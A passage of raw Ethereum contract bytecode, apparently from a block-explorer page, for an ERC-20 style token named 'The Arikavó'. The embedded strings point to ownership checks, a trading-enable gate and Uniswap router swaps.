514610357578063450dde46146103805780635233b465146103ab576101d8565b806318160ddd116101ab57806318160ddd1461027057806318ea64db1461029b5780631f8b3e69146102c457806323b872dd146102ef576101d8565b806306fdde03146101dd578063095ea7b31461020857806309c58fcd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f261073f565b6040516101ff91906120cb565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612186565b6107d1565b60405161023c91906121e1565b60405180910390f35b34801561025157600080fd5b5061025a6107e6565b60405161026791906121e1565b60405180910390f35b34801561027c57600080fd5b506102856107f9565b604051610292919061220b565b60405180910390f35b3480156102a757600080fd5b506102c260048036038101906102bd9190612226565b610803565b005b3480156102d057600080fd5b506102d9610882565b6040516102e6919061220b565b60405180910390f35b3480156102fb57600080fd5b5061031660048036038101906103119190612253565b610888565b60405161032391906121e1565b60405180910390f35b34801561033857600080fd5b50610341610930565b60405161034e919061220b565b60405180910390f35b34801561036357600080fd5b5061037e600480360381019061037991906122a6565b61094a565b005b34801561038c57600080fd5b506103956109d0565b6040516103a291906121e1565b60405180910390f35b3480156103b757600080fd5b506103c06109e3565b6040516103cd91906122e2565b60405180910390f35b3480156103e257600080fd5b506103fd60048036038101906103f89190612226565b610a07565b005b34801561040b57600080fd5b5061042660048036038101906104219190612226565b610a86565b604051610433919061220b565b60405180910390f35b34801561044857600080fd5b50610451610acf565b005b34801561045f57600080fd5b5061047a60048036038101906104759190612226565b610b57565b005b34801561048857600080fd5b506104a3600480360381019061049e9190612226565b610bd6565b005b3480156104b157600080fd5b506104ba610c55565b6040516104c791906122e2565b60405180910390f35b3480156104dc57600080fd5b506104f760048036038101906104f29190612226565b610c7e565b005b34801561050557600080fd5b5061050e610cfd565b60405161051b91906120cb565b60405180910390f35b34801561053057600080fd5b50610539610d8f565b60405161054691906121e1565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612186565b610da2565b60405161058391906121e1565b60405180910390f35b34801561059857600080fd5b506105a1610db9565b6040516105ae919061235c565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190612226565b610ddd565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612226565b610e5c565b60405161061491906121e1565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612226565b610e7c565b60405161065191906121e1565b60405180910390f35b34801561066657600080fd5b50610681600480360381019061067c9190612377565b610e9c565b60405161068e919061220b565b60405180910390f35b3480156106a357600080fd5b506106ac610f23565b6040516106b9919061220b565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906123e3565b610f29565b005b3480156106f757600080fd5b50610712600480360381019061070d9190612226565b610fc2565b005b34801561072057600080fd5b506107296110ba565b604051610736919061220b565b60405180910390f35b60606002805461074e9061243f565b80601f016020809104026020016040519081016040528092919081815260200182805461077a9061243f565b80156107c75780601f1061079c576101008083540402835291602001916107c7565b820191906000526020600020905b8154815290600101906020018083116107aa57829003601f168201915b5050505050905090565b60006107de3384846110c0565b905092915050565b600060189054906101000a900460ff1681565b6000600454905090565b61080b61125b565b73ffffffffffffffffffffffffffffffffffffffff16610829610c55565b73ffffffffffffffffffffffffffffffffffffffff161461087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906124bd565b60405180910390fd5b50565b60085481565b6000610895848484611263565b610927843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610922919061250c565b6110c0565b90509392505050565b6000600360009054906101000a900460ff1660ff16905090565b61095261125b565b73ffffffffffffffffffffffffffffffffffffffff16610970610c55565b73ffffffffffffffffffffffffffffffffffffffff16146109c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bd906124bd565b60405180910390fd5b8060058190555050565b600060179054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b610a0f61125b565b73ffffffffffffffffffffffffffffffffffffffff16610a2d610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a906124bd565b60405180910390fd5b50565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ad761125b565b73ffffffffffffffffffffffffffffffffffffffff16610af5610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b42906124bd565b60405180910390fd5b610b556000611c12565b565b610b5f61125b565b73ffffffffffffffffffffffffffffffffffffffff16610b7d610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca906124bd565b60405180910390fd5b50565b610bde61125b565b73ffffffffffffffffffffffffffffffffffffffff16610bfc610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c49906124bd565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c8661125b565b73ffffffffffffffffffffffffffffffffffffffff16610ca4610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf1906124bd565b60405180910390fd5b50565b606060018054610d0c9061243f565b80601f0160208091040260200160405190810160405280929190818152602001828054610d389061243f565b8015610d855780601f10610d5a57610100808354040283529160200191610d85565b820191906000526020600020905b815481529060010190602001808311610d6857829003601f168201915b5050505050905090565b600060199054906101000a900460ff1681565b6000610daf338484611263565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b610de561125b565b73ffffffffffffffffffffffffffffffffffffffff16610e03610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e50906124bd565b60405180910390fd5b50565b60116020528060005260406000206000915054906101000a900460ff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b610f3161125b565b73ffffffffffffffffffffffffffffffffffffffff16610f4f610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c906124bd565b60405180910390fd5b80600060166101000a81548160ff02191690831515021790555050565b610fca61125b565b73ffffffffffffffffffffffffffffffffffffffff16610fe8610c55565b73ffffffffffffffffffffffffffffffffffffffff161461103e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611035906124bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906125b2565b60405180910390fd5b6110b781611c12565b50565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561112b5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190612644565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611248919061220b565b60405180910390a3600190509392505050565b600033905090565b600061126e30610a86565b905060008060149054906101000a900460ff16801561128e575060075482115b80156112a75750600060159054906101000a900460ff16155b80156112ff57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611347576001600060156101000a81548160ff02191690831515021790555061132882611cd6565b60008060156101000a81548160ff02191690831515021790555061172c565b600754600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156113d75750600754600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156114465782905080600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461142e9190612664565b9250508190555061143f8385611d17565b5050611c0d565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114e157506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b80156114ee575060075483115b801561154657507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115965782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050611c0d565b600060159054906101000a900460ff161580156115f257506000600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b801561164a57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561169557506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561172b57600754600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e7919061250c565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600c60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561183f57600754600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600c60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060085411801561192e57506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156119475750600060159054906101000a900460ff16155b801561199257506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611a6e576064600854856119a791906126ba565b6119b19190612743565b915081846119bf919061250c565b935081600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a10919061250c565b9250508190555081600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a669190612664565b925050819055505b83600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611abd919061250c565b9250508190555083600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b139190612664565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611b77919061220b565b60405180910390a3600060169054906101000a900460ff16611c0957611b9b610c55565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bff906127e6565b60405180910390fd5b5b5050505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600282611ce59190612743565b90506000479050611cf68230611d17565b60008147611d04919061250c565b9050611d11838230611f56565b50505050565b6000600267ffffffffffffffff811115611d3457611d33612806565b5b604051908082528060200260200182016040528015611d625781602001602082028036833780820191505090505b5090503081600081518110611d7a57611d79612835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e439190612879565b81600181518110611e5757611e56612835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ebc307f0000000000000000000000000000000000000000000000000000000000000000856110c0565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b8152600401611f1f95949392919061299f565b600060405180830381600087803b158015611f3957600080fd5b505af1158015611f4d573d6000803e3d6000fd5b50505050505050565b611f81307f0000000000000000000000000000000000000000000000000000000000000000856110c0565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b8152600401611fe7969594939291906129f9565b60606040518083038185885af1158015612005573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061202a9190612a6f565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561206c578082015181840152602081019050612051565b8381111561207b576000848401525b50505050565b6000601f19601f8301169050919050565b600061209d82612032565b6120a7818561203d565b93506120b781856020860161204e565b6120c081612081565b840191505092915050565b600060208201905081810360008301526120e58184612092565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061211d826120f2565b9050919050565b61212d81612112565b811461213857600080fd5b50565b60008135905061214a81612124565b92915050565b6000819050919050565b61216381612150565b811461216e57600080fd5b50565b6000813590506121808161215a565b92915050565b6000806040838503121561219d5761219c6120ed565b5b60006121ab8582860161213b565b92505060206121bc85828601612171565b9150509250929050565b60008115159050919050565b6121db816121c6565b82525050565b60006020820190506121f660008301846121d2565b92915050565b61220581612150565b82525050565b600060208201905061222060008301846121fc565b92915050565b60006020828403121561223c5761223b6120ed565b5b600061224a8482850161213b565b91505092915050565b60008060006060848603121561226c5761226b6120ed565b5b600061227a8682870161213b565b935050602061228b8682870161213b565b925050604061229c86828701612171565b9150509250925092565b6000602082840312156122bc576122bb6120ed565b5b60006122ca84828501612171565b91505092915050565b6122dc81612112565b82525050565b60006020820190506122f760008301846122d3565b92915050565b6000819050919050565b600061232261231d612318846120f2565b6122fd565b6120f2565b9050919050565b600061233482612307565b9050919050565b600061234682612329565b9050919050565b6123568161233b565b82525050565b6000602082019050612371600083018461234d565b92915050565b6000806040838503121561238e5761238d6120ed565b5b600061239c8582860161213b565b92505060206123ad8582860161213b565b9150509250929050565b6123c0816121c6565b81146123cb57600080fd5b50565b6000813590506123dd816123b7565b92915050565b6000602082840312156123f9576123f86120ed565b5b6000612407848285016123ce565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061245757607f821691505b6020821081141561246b5761246a612410565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124a760208361203d565b91506124b282612471565b602082019050919050565b600060208201905081810360008301526124d68161249a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061251782612150565b915061252283612150565b925082821015612535576125346124dd565b5b828203905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061259c60268361203d565b91506125a782612540565b604082019050919050565b600060208201905081810360008301526125cb8161258f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061262e60248361203d565b9150612639826125d2565b604082019050919050565b6000602082019050818103600083015261265d81612621565b9050919050565b600061266f82612150565b915061267a83612150565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126af576126ae6124dd565b5b828201905092915050565b60006126c582612150565b91506126d083612150565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612709576127086124dd565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061274e82612150565b915061275983612150565b92508261276957612768612714565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006127d0603f8361203d565b91506127db82612774565b604082019050919050565b600060208201905081810360008301526127ff816127c3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061287381612124565b92915050565b60006020828403121561288f5761288e6120ed565b5b600061289d84828501612864565b91505092915050565b6000819050919050565b60006128cb6128c66128c1846128a6565b6122fd565b612150565b9050919050565b6128db816128b0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61291681612112565b82525050565b6000612928838361290d565b60208301905092915050565b6000602082019050919050565b600061294c826128e1565b61295681856128ec565b9350612961836128fd565b8060005b83811015612992578151612979888261291c565b975061298483612934565b925050600181019050612965565b5085935050505092915050565b600060a0820190506129b460008301886121fc565b6129c160208301876128d2565b81810360408301526129d38186612941565b90506129e260608301856122d3565b6129ef60808301846121fc565b9695505050505050565b600060c082019050612a0e60008301896122d3565b612a1b60208301886121fc565b612a2860408301876128d2565b612a3560608301866128d2565b612a4260808301856122d3565b612a4f60a08301846121fc565b979650505050505050565b600081519050612a698161215a565b92915050565b600080600060608486031215612a8857612a876120ed565b5b6000612a9686828701612a5a565b9350506020612aa786828701612a5a565b9250506040612ab886828701612a5a565b915050925092509256fea2646970667358221220b00bb55979042779e643144407aeb426aa3325bf866be4e1d5ac87704ea491b564736f6c634300080c0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000c546865204172696b6176c3b300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e0aaab0000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101d15760003560e01c80637fc5b2a7116100f7578063b60707ed11610095578063e1b5cfae11610064578063e1b5cfae14610697578063f275f64b146106c2578063f2fde38b146106eb578063fe2dc16f14610714576101d8565b8063b60707ed146105b7578063c867d60b146105e0578063dbe66ca01461061d578063dd62ed3e1461065a576101d8565b806395d89b41116100d157806395d89b41146104f9578063a4d15b6414610524578063a9059cbb1461054f578063ab57fdd71461058c576101d8565b80637fc5b2a71461047c5780638da5cb5b146104a5578063924f364d146104d0576101d8565b8063313ce5671161016f5780636690864e1161013e5780636690864e146103d657806370a08231146103ff578063715018a61461043c57806375b6253214610453576101d8565b8063313ce5671461032c578063333c39a514610357578063450dde46146103805780635233b465146103ab576101d8565b806318160ddd116101ab57806318160ddd1461027057806318ea64db1461029b5780631f8b3e69146102c457806323b872dd146102ef576101d8565b806306fdde03146101dd578063095ea7b31461020857806309c58fcd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f261073f565b6040516101ff91906120cb565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612186565b6107d1565b60405161023c91906121e1565b60405180910390f35b34801561025157600080fd5b5061025a6107e6565b60405161026791906121e1565b60405180910390f35b34801561027c57600080fd5b506102856107f9565b604051610292919061220b565b60405180910390f35b3480156102a757600080fd5b506102c260048036038101906102bd9190612226565b610803565b005b3480156102d057600080fd5b506102d9610882565b6040516102e6919061220b565b60405180910390f35b3480156102fb57600080fd5b5061031660048036038101906103119190612253565b610888565b60405161032391906121e1565b60405180910390f35b34801561033857600080fd5b50610341610930565b60405161034e919061220b565b60405180910390f35b34801561036357600080fd5b5061037e600480360381019061037991906122a6565b61094a565b005b34801561038c57600080fd5b506103956109d0565b6040516103a291906121e1565b60405180910390f35b3480156103b757600080fd5b506103c06109e3565b6040516103cd91906122e2565b60405180910390f35b3480156103e257600080fd5b506103fd60048036038101906103f89190612226565b610a07565b005b34801561040b57600080fd5b5061042660048036038101906104219190612226565b610a86565b604051610433919061220b565b60405180910390f35b34801561044857600080fd5b50610451610acf565b005b34801561045f57600080fd5b5061047a60048036038101906104759190612226565b610b57565b005b34801561048857600080fd5b506104a3600480360381019061049e9190612226565b610bd6565b005b3480156104b157600080fd5b506104ba610c55565b6040516104c791906122e2565b60405180910390f35b3480156104dc57600080fd5b506104f760048036038101906104f29190612226565b610c7e565b005b34801561050557600080fd5b5061050e610cfd565b60405161051b91906120cb565b60405180910390f35b34801561053057600080fd5b50610539610d8f565b60405161054691906121e1565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612186565b610da2565b60405161058391906121e1565b60405180910390f35b34801561059857600080fd5b506105a1610db9565b6040516105ae919061235c565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190612226565b610ddd565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612226565b610e5c565b60405161061491906121e1565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612226565b610e7c565b60405161065191906121e1565b60405180910390f35b34801561066657600080fd5b50610681600480360381019061067c9190612377565b610e9c565b60405161068e919061220b565b60405180910390f35b3480156106a357600080fd5b506106ac610f23565b6040516106b9919061220b565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906123e3565b610f29565b005b3480156106f757600080fd5b50610712600480360381019061070d9190612226565b610fc2565b005b34801561072057600080fd5b506107296110ba565b604051610736919061220b565b60405180910390f35b60606002805461074e9061243f565b80601f016020809104026020016040519081016040528092919081815260200182805461077a9061243f565b80156107c75780601f1061079c576101008083540402835291602001916107c7565b820191906000526020600020905b8154815290600101906020018083116107aa57829003601f168201915b5050505050905090565b60006107de3384846110c0565b905092915050565b600060189054906101000a900460ff1681565b6000600454905090565b61080b61125b565b73ffffffffffffffffffffffffffffffffffffffff16610829610c55565b73ffffffffffffffffffffffffffffffffffffffff161461087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906124bd565b60405180910390fd5b50565b60085481565b6000610895848484611263565b610927843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610922919061250c565b6110c0565b90509392505050565b6000600360009054906101000a900460ff1660ff16905090565b61095261125b565b73ffffffffffffffffffffffffffffffffffffffff16610970610c55565b73ffffffffffffffffffffffffffffffffffffffff16146109c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bd906124bd565b60405180910390fd5b8060058190555050565b600060179054906101000a900460ff1681565b7f0000000000000000000000002a939b0d1ac347bfa89d7a13dde45fb628f6786181565b610a0f61125b565b73ffffffffffffffffffffffffffffffffffffffff16610a2d610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a906124bd565b60405180910390fd5b50565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ad761125b565b73ffffffffffffffffffffffffffffffffffffffff16610af5610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b42906124bd565b60405180910390fd5b610b556000611c12565b565b610b5f61125b565b73ffffffffffffffffffffffffffffffffffffffff16610b7d610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca906124bd565b60405180910390fd5b50565b610bde61125b565b73ffffffffffffffffffffffffffffffffffffffff16610bfc610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c49906124bd565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c8661125b565b73ffffffffffffffffffffffffffffffffffffffff16610ca4610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf1906124bd565b60405180910390fd5b50565b606060018054610d0c9061243f565b80601f0160208091040260200160405190810160405280929190818152602001828054610d389061243f565b8015610d855780601f10610d5a57610100808354040283529160200191610d85565b820191906000526020600020905b815481529060010190602001808311610d6857829003601f168201915b5050505050905090565b600060199054906101000a900460ff1681565b6000610daf338484611263565b6001905092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b610de561125b565b73ffffffffffffffffffffffffffffffffffffffff16610e03610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e50906124bd565b60405180910390fd5b50565b60116020528060005260406000206000915054906101000a900460ff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b610f3161125b565b73ffffffffffffffffffffffffffffffffffffffff16610f4f610c55565b73ffffffffffffffffffffffffffffffffffffffff1614610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c906124bd565b60405180910390fd5b80600060166101000a81548160ff02191690831515021790555050565b610fca61125b565b73ffffffffffffffffffffffffffffffffffffffff16610fe8610c55565b73ffffffffffffffffffffffffffffffffffffffff161461103e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611035906124bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906125b2565b60405180910390fd5b6110b781611c12565b50565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561112b5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190612644565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611248919061220b565b60405180910390a3600190509392505050565b600033905090565b600061126e30610a86565b905060008060149054906101000a900460ff16801561128e575060075482115b80156112a75750600060159054906101000a900460ff16155b80156112ff57507f0000000000000000000000002a939b0d1ac347bfa89d7a13dde45fb628f6786173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611347576001600060156101000a81548160ff02191690831515021790555061132882611cd6565b60008060156101000a81548160ff02191690831515021790555061172c565b600754600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156113d75750600754600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156114465782905080600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461142e9190612664565b9250508190555061143f8385611d17565b5050611c0d565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114e157506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b80156114ee575060075483115b801561154657507f0000000000000000000000002a939b0d1ac347bfa89d7a13dde45fb628f6786173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115965782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050611c0d565b600060159054906101000a900460ff161580156115f257506000600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b801561164a57507f0000000000000000000000002a939b0d1ac347bfa89d7a13dde45fb628f6786173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561169557506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561172b57600754600a